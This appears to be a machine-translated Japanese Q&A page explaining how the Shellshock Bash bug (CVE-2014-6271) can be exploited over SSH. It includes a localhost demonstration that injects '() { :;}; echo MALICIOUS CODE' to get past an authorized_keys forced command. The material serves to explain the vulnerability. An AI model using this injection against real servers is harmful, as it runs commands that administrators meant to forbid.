明らかにShellshock BashエクスプロイトはCVE-2014-6271SSHを介してネットワーク経由で悪用される可能性があります。この脆弱性はApache / CGIを介してどのように機能するか想像できますが、SSHを介してどのように機能するか想像できません。
SSHがどのように悪用され、これがシステムにどのような害を及ぼすかについての例を提供できますか?
言う
AFAIU、認証されたユーザーだけがSSHを介してこの脆弱性を悪用する可能性があります。この脆弱性は、システムへの正当なアクセス権を持つ人にどのように使用されますか?私の言うことは、このバグには特権の昇格がないので(彼はルートになることはできません)、SSHを介して合法的にログインした場合にのみできることができるということです。
ベストアンサー1
これを悪用する1つの例は、authorized_keys
強制コマンドを持つサーバーです。に項目を追加するときにSSH公開鍵を使用するときは、その項目が強制的に実行されるようにその~/.ssh/authorized_keys
行の接頭辞を付けることができます。この脆弱性は、ターゲットユーザーがシェルです。command="foo"
foo
bash
これは例でより意味がある可能性があるため、例は次のとおりです。
sudo useradd -d /testuser -s /bin/bash testuser
sudo mkdir -p /testuser/.ssh
sudo sh -c "echo command=\\\"echo starting sleep; sleep 1\\\" $(cat ~/.ssh/id_rsa.pub) > /testuser/.ssh/authorized_keys"
sudo chown -R testuser /testuser
testuser
ここでは、SSHキーを使用してSSH接続を強制するユーザーを設定しますecho starting sleep; sleep 1
。
次の方法でテストできます。
$ ssh testuser@localhost echo something else
starting sleep
コマンドはecho something else
実行されませんでしたが、starting sleep
show force コマンドは実行されました。
次に、この脆弱性の使用方法を紹介します。
$ ssh testuser@localhost '() { :;}; echo MALICIOUS CODE'
MALICIOUS CODE
starting sleep
これは、環境変数が渡されたコマンドにsshd
設定されているために機能します。SSH_ORIGINAL_COMMAND
したがって、私が話しているコマンドの代わりにsshd
runを使用しても、エクスプロイトのためにコードが実行され続けます。sleep